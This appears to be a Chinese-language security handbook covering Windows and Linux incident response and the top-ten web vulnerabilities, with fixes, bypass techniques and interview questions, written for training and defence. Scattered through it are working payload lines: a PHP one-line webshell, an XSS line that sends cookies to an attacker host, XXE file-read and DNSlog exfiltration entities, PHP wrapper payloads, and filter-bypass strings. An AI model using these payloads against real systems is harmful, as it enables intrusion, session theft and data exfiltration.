前言
分享一份实用的应急响应与WEB安全手册,涵盖Windows、Linux系统的应急响应流程,以及WEB安全领域Top10漏洞的原理、危害、修复方案和绕过技巧。内容偏重实战,适合安全服务人员、安全爱好者参考,用于快速定位和处置安全事件。
Windows应急响应流程
当Windows服务器遭遇安全事件(如入侵、恶意程序感染等),可按以下流程逐步排查和处置,快速定位威胁并恢复系统安全。
0x01 排查系统和账号安全
账号与系统权限是入侵者的主要目标,需优先检查以下内容:
弱口令与开放端口:排查服务器是否存在弱口令账号,远程管理端口(如3389)是否违规向互联网开放。
隐藏或克隆账号:通过注册表查看管理员对应键值(如
HKEY_LOCAL_MACHINE\SAM\SAM),或使用D盾Web查杀工具扫描异常账号。账号异常登录:结合Windows安全日志(事件ID 4624/4625)排查管理员账号登录时间、IP是否异常,可导出日志后用LogParser工具批量分析。
0x02 排查异常端口与进程
网络连接和进程是恶意活动的直接载体,需重点监控:
端口连接情况:
用netstat -ano查看当前网络连接,识别可疑远程连接(如陌生IP、非业务端口);通过tasklist /fi "PID eq 进程ID"定位进程,用taskkill /f /pid 进程ID强制结束恶意进程。可疑进程识别:
观察进程是否存在以下特征:无签名验证信息、无描述信息、属主异常、路径不合法、CPU/内存占用长时间过高。推荐用火绒剑开启实时监控,捕获进程行为。
0x03 排查启动项与计划任务
入侵者常通过启动项或计划任务实现持久化控制,需全面检查:
异常启动项:查看系统启动文件夹、注册表启动键(如
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run)、组策略脚本,识别命名异常的启动项;用火绒剑可视化查看启动项关联进程。可疑计划任务:通过“任务计划程序”或命令
schtasks /query /fo LIST /v排查非业务计划任务,重点关注触发条件、执行脚本路径异常的任务。自启动服务:在“服务”管理界面或通过
sc query查看服务,检查服务路径、启动类型是否异常,禁用或删除可疑服务。
0x04 排查系统相关信息
系统基础信息和文件目录可能留存入侵痕迹:
系统版本与补丁:通过
winver查看系统版本,用systeminfo检查补丁安装情况,确认是否存在未修复的高危漏洞(如永恒之蓝等)。可疑文件与目录:扫描系统盘及用户目录(如
C:\Users\),查找新增陌生目录、隐藏文件(右键“显示隐藏文件”)、恶意脚本(如.bat.vbs.ps1)。
0x05 自动化查杀工具
借助专业工具提升查杀效率:
病毒查杀:使用火绒、天擎、360杀毒等工具全盘扫描,清除恶意程序。
Webshell查杀:通过D盾Web查杀、河马Webshell扫描工具,检测网站目录下的后门文件(如
evalassert等特征函数)。
0x06 日志分析
日志是追溯入侵源的关键依据:
- 收集中间件Web日志(如IIS日志
C:\inetpub\logs\LogFiles、Nginx日志)和Windows系统日志(安全日志、系统日志、应用程序日志),打包后用LogParser工具批量分析,筛选异常访问IP、请求路径、错误状态码等。
Linux应急响应流程
Linux系统应急响应需围绕账号、进程、日志等核心维度,结合命令行工具快速定位威胁,以下为关键步骤。
0x01 账号安全排查
Linux账号权限管理严格,需重点检查权限异常或新增账号:
- 用户信息文件:查看
/etc/passwd(用户列表)和/etc/shadow(密码哈希),识别新增陌生用户、UID/GID为0的特权用户(非root账号却有root权限)。 - 当前登录用户:用
who查看在线用户,w查看用户操作详情,uptime了解系统负载和登录时长,判断是否存在异常登录。 - 特权用户与sudo权限:
- 用
awk -F: '$3==0{print $1}' /etc/passwd列出UID=0的特权用户(正常应为root); - 用
more /etc/sudoers | grep -v "^#|^$" | grep "ALL=(ALL)"查看非root账号的sudo权限,禁用不必要的特权。
- 用
- 账号处置:对可疑账号,用
usermod -L 用户名临时锁定,或userdel -r 用户名彻底删除(含家目录)。
0x02 历史命令审计
用户操作记录可追溯入侵行为:
- 用
history查看当前用户历史命令,或直接读取~/.bash_history文件(需注意:history可能被清空,建议提前备份)。 - 建议开启历史命令审计:在
/etc/profile中添加export HISTTIMEFORMAT="%F %Twhoami",记录命令执行时间和用户,增强可追溯性。
0x03 端口与进程排查
通过网络连接和进程定位恶意活动:
端口连接:用
netstat -tulnp(显示监听端口及关联进程)或ss -lntu查看网络连接,重点关注非业务端口(如3306、6379等未授权开放端口)。进程溯源:用
ps aux查看所有进程,通过grep筛选可疑进程(如ps aux | grep 进程名/PID);通过ls -l /proc/$PID/exe或file /proc/$PID/exe查看进程实际路径,确认是否合法。
0x04 开机启动项与定时任务
持久化控制常通过启动项或定时任务实现:
启动项排查:检查
/etc/rc.local、/etc/init.d/目录、systemctl服务(systemctl list-unit-files --type=service),识别非业务启动脚本或服务。定时任务:用
crontab -l查看当前用户定时任务,检查/etc/crontab及/etc/cron.d//etc/cron.hourly/等目录,删除陌生任务(如定期下载恶意脚本的任务)。
0x05 日志审计
Linux日志集中存储在/var/log/目录,关键日志及用途如下:
| 日志文件 | 说明 |
|---|---|
/var/log/cron | 记录定时任务执行日志 |
/var/log/message | 系统核心日志,含重要事件(如服务启动、错误信息) |
/var/log/secure | 记录认证授权信息(如SSH登录、su切换、sudo操作) |
/var/log/btmp | 错误登录日志(需用lastb查看) |
/var/log/wtmp | 所有用户登录/注销及系统重启记录(需用last查看) |
/var/log/utmp | 当前登录用户信息(需用w who查看) |
- 应用日志:如HTTP日志(
/var/log/httpd/access.log)、FTP日志(/var/log/vsftp.log)等,需结合业务场景分析异常请求。
WEB-TOP10漏洞详解
WEB安全领域中,以下10类漏洞最为常见。本节涵盖其原理、危害、修复方案及典型绕过技巧,附面试高频问题解析。
0x01 SQL注入
核心原理
用户输入的数据未经过滤,被直接拼接为SQL语句执行(如SELECT * FROM users WHERE id='$_GET[id]')。
关键条件:用户可控输入 + 输入带入数据库查询。
危害
非法查询/修改数据、写入Webshell、泄露敏感信息(如账号密码)、甚至提权控制服务器。
修复方案
采用参数化查询(如PreparedStatement),避免SQL语句拼接;
对输入进行严格过滤(如转义单引号、限制字符类型);
部署WAF,开启SQL注入防护规则;
最小权限原则配置数据库账号(如禁止
FILE权限)。
类型与绕过技巧
类型:显注(有回显)、盲注(布尔型、报错型、时间型)。
绕过方法:大小写混合(
UniOn SelEct)、双写关键字(uniunionon)、内联注释(/*!union*/)、编码绕过(URL编码、16进制)、宽字节注入(%df')等。
面试高频问题
如何判断SQL注入类型(字符型/数字型)?
答:用id=2-1测试,若返回id=1结果则为数字型;或用and 1=1/and 1=2,均回显正常则为字符型。SQL注入写入Webshell的条件?
答:需知道网站绝对路径、数据库高权限(如root)、secure_file_priv无限制、网站目录可写。
0x02 文件上传漏洞
核心原理
对用户上传文件的类型、后缀未做严格验证,导致恶意文件(如Webshell)被上传至服务器并执行。
危害
上传后门文件直接控制网站,甚至通过提权获取服务器权限。
修复方案
采用白名单验证(仅允许
jpgpng等安全后缀),拒绝黑名单过滤;上传目录禁止脚本执行(如Apache配置
php_flag engine off);重命名上传文件(如随机文件名+安全后缀),避免路径可预测;
限制文件大小,扫描文件内容(如检测图片马的恶意代码)。
绕过技巧
黑名单绕过:大小写(
.Php)、特殊后缀(.php5.phtml)、空格/点绕过(.php..php)、双写(.pphphp);白名单绕过:
%00截断(shell.php%00.jpg)、图片马(将Webshell插入图片尾部)、二次渲染绕过(修改图片未被渲染的区域)、条件竞争(趁文件未重命名时访问)。
面试高频问题
- 大马与小马的区别?
答:小马指一句话木马(代码量小,如<?php @eval($_POST['cmd']);?>),功能简单;大马是功能完整的管理工具(如文件管理、命令执行),通常先传小马再传大马。
0x03 文件包含漏洞
核心原理
程序通过动态参数引用文件时,未验证文件路径,导致恶意文件被包含并执行(如include($_GET['file']))。
危害
包含本地恶意文件(如图片马)或远程恶意脚本,执行代码获取权限;读取敏感文件(如/etc/passwd config.php)。
修复方案
禁止动态包含用户可控参数;
过滤
.././等路径跳转字符;关闭PHP配置
allow_url_fopen和allow_url_include(防范远程文件包含);采用白名单限制可包含的文件。
类型与绕过技巧
类型:本地文件包含(LFI)、远程文件包含(RFI)。
绕过方法:路径截断(
../重复拼接)、%00截断、包含日志文件(如Apache日志被写入Webshell后包含)、利用伪协议(php://filter/read=convert.base64-encode/resource=xxx.php读取源码)。
面试高频问题
include()与require()的区别?
答:include()加载失败时报警告并继续执行;require()加载失败时报致命错误并终止程序。常用文件包含伪协议?
答:php://input(执行POST数据)、data://(传递数据流,如data://text/plain,<?php phpinfo();?>)、file://(读取本地文件)、zip://(包含压缩包内文件)。
0x04 CSRF(跨站请求伪造)
核心原理
攻击者诱导已登录用户访问恶意页面,以用户身份发起非预期请求(如修改密码、转账),利用用户的Cookie身份凭证完成操作。
危害
以受害者名义执行操作(如改密码、发评论、转账),造成账号被盗、财产损失等。
修复方案
增加Token验证(每次请求携带随机Token,服务器验证有效性);
验证Referer来源(检查请求是否来自可信域名);
关键操作增加验证码或二次确认;
设置Cookie的
SameSite属性(SameSite=Lax/Strict,限制跨站携带)。
面试高频问题
CSRF与XSS的区别?
答:XSS是注入恶意脚本盗取Cookie;CSRF是利用用户已有的Cookie身份,伪造请求执行操作。为什么Token能防御CSRF?
答:Token是服务器生成的随机值,与用户会话绑定,攻击者无法获取,因此无法伪造含有效Token的请求。
0x05 SSRF(服务器请求伪造)
核心原理
服务器端接口存在未验证的外部资源请求参数,攻击者可构造请求,让服务器访问内网资源或其他服务器(如http://example.com/xxx?url=http://内网IP:端口)。
危害
探测内网存活主机、扫描内网端口、攻击内网服务(如Redis未授权访问)、读取本地文件(file:///etc/passwd)、通过gopher协议构造恶意请求。
修复方案
白名单限制请求的域名/IP;
禁止请求内网IP(如
10.0.0.0/8192.168.0.0/16)和敏感端口(如3306、6379);屏蔽响应详细信息(避免泄露内网结构);
禁用危险协议(如
gopher://dict://)。
绕过技巧
IP绕过:十进制/八进制IP转换(
127.0.0.1→2130706433)、域名绑定内网IP、利用句号/冒号(127。0。0。1);协议绕过:使用
gopher://构造POST请求,攻击内网Redis(写入定时任务反弹shell)。
面试高频问题
- SSRF常见利用场景?
答:攻击内网服务(如Redis、Memcached未授权访问)、读取本地文件、端口扫描、通过云服务API获取密钥。
0x06 XXE(XML外部实体注入)
核心原理
XML解析器未禁用外部实体加载,攻击者通过构造恶意XML,加载外部实体文件或执行代码(如<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>)。
危害
读取本地文件、探测内网端口、执行命令(依赖解析器支持,如PHP的expect模块)、发起DOS攻击。
修复方案
禁用外部实体加载(如PHP的
libxml_disable_entity_loader(true),Java的DocumentBuilderFactory.setFeature);过滤用户输入的XML数据,禁止
DOCTYPEENTITY等关键字;使用安全的XML解析库,避免自定义解析逻辑。
绕过技巧
外部实体引入(本地文件、远程URL);
无回显时利用DNSlog外带数据(
<!ENTITY xxe SYSTEM "http://dnslog域名/xxx">)。
面试高频问题
- XXE无回显如何利用?
答:通过DNSlog或HTTP请求外带数据,将读取的文件内容作为子域名或参数发送到攻击者服务器。
0x07 RCE(远程代码/命令执行)
核心原理
用户输入被直接作为命令/代码执行(如system($_GET['cmd'])),或通过漏洞组件(如Struts2、Log4j)执行恶意指令。
危害
执行系统命令(如rm -rf / whoami)、写入恶意文件、控制服务器。
修复方案
禁止用户输入直接拼接为命令/代码;
采用白名单限制允许执行的命令/函数;
及时更新组件(如修复Log4j、Struts2漏洞);
最小权限运行服务(如Web服务用低权限用户,禁止root运行)。
常见危险函数
命令执行:PHP的
system()exec()shell_exec(),Python的os.system()subprocess.call();代码执行:PHP的
eval()assert(),Java的Runtime.exec()。
面试高频问题
- 命令执行与代码执行的区别?
答:命令执行是调用操作系统命令(如lsipconfig);代码执行是运行应用程序代码(如PHP/Java代码)。
0x08 XSS(跨站脚本攻击)
核心原理
攻击者向网页注入恶意JavaScript脚本,当用户访问页面时脚本执行,窃取Cookie、篡改页面内容或记录键盘输入。
危害
盗取用户Cookie(Session劫持)、钓鱼攻击、会话固定、蠕虫传播。
修复方案
对用户输入进行HTML转义(如
<→<,>→>);为Cookie设置
HttpOnly属性(禁止JS读取);启用CSP(内容安全策略),限制脚本加载来源;
采用白名单过滤输入内容。
类型与绕过技巧
类型:存储型(脚本存数据库,如留言板)、反射型(脚本在URL参数,如搜索框)、DOM型(脚本通过DOM操作执行,不经过服务器)。
绕过方法:大小写混合(
<ScRiPt>)、标签混淆(<img src=1 onerror=alert(1)>)、编码绕过(HTML实体、JS编码)、事件触发(onclickonerror)。
面试高频问题
- XSS如何盗取Cookie?
答:通过document.cookie获取Cookie,用img标签或AJAX发送到攻击者服务器(如<script>new Image().src='http://attacker/?cookie='+document.cookie</script>)。
0x09 逻辑漏洞
核心原理
因业务逻辑设计缺陷导致的漏洞,通常不涉及复杂技术,而是流程或权限控制的疏漏。
常见类型
越权访问:垂直越权(低权限用户操作高权限功能,如普通用户访问管理员后台)、平行越权(同权限用户访问他人数据,如修改ID查看其他用户订单);
密码找回漏洞:验证码爆破、跳过验证步骤、找回凭证泄露(如通过数据包获取验证码);
支付漏洞:修改订单金额、重复提交订单、优惠券金额篡改;
未授权访问:直接访问需登录的页面(如
/admin未验证Session)。
修复方案
严格校验用户权限(如每次操作前检查角色);
关键步骤增加验证码/二次确认;
敏感操作使用随机Token,避免参数直接可控;
支付金额等核心数据在服务器端校验,不依赖客户端提交值。
0x0A 序列化与反序列化漏洞
核心原理
序列化将对象转换为可传输格式,反序列化将其恢复为对象。若反序列化数据可控,攻击者可构造恶意对象,触发代码执行(如调用危险魔术方法)。
危害
执行恶意代码、获取服务器权限,常见于Java(Shiro、Fastjson)、PHP、Python等语言。
修复方案
严格验证反序列化数据来源,拒绝不可信输入;
禁用危险类/函数(如Java禁用
javax.script.ScriptEngineManager);使用安全的序列化库,及时更新补丁(如升级Fastjson至最新版);
采用加密或签名保护序列化数据,防止篡改。
典型案例
Shiro反序列化:AES密钥硬编码,攻击者构造恶意序列化数据,通过
rememberMeCookie触发反序列化执行命令;Fastjson反序列化:通过
@type指定恶意类(如com.sun.rowset.JdbcRowSetImpl),触发JNDI注入执行代码;PHP反序列化:利用魔术方法(如
__wakeup()__destruct()),在反序列化时执行恶意代码。
